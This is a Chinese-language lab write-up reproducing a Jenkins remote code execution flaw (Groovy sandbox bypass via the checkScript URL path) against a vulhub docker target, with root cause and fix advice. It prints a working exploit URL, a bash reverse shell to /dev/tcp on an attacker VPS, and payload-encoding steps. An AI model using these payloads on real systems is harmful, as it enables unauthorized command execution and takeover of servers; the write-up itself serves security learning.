0x00 实验环境
攻击机:Win 10
靶场:docker拉的vulhub靶场
0x01 影响版本
Jenkins 2.153及更早版本,LTS 2.138.3及更早版本
0x02 漏洞复现
(1)访问存在的漏洞页面:
(2)昨天复现的那个漏洞居然没有复现成功,不过今天这个好像复现起来十分简单,只用输入一句话即可:
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/success%22.execute()}}
(3)执行一下反弹shell试试,在下述网址输入反弹shell的命令:
http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/x.x.x.x/7621 0>&1
(4)记得需要两次编码,进行了上述编码后,还需要进行URL编码:
http://www.hiencode.com/url.html
(5)在自己的VPS开启监听:
(6)执行下述命令:
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22命令替换%22.execute()}}
这样即可获取到反弹的shell:
(7)后续发现,这个还存在弱口令(admin/admin):
试试修改弱口令后能不能再利用反弹shell的漏洞:
然后再试试那个命令执行,发现还是弹过来了,说明并不是因为弱口令导致的远程命令执行:
0x03 漏洞原理
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。
0x04 修复建议
1、升级到最新版
2、设置强口令
3、尽量不要开放到公网
0x05 参考文献
https://www.cnblogs.com/huasheng333/p/13278264.html
https://www.cnblogs.com/rnss/p/13377980.html
0x06 免责声明
本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!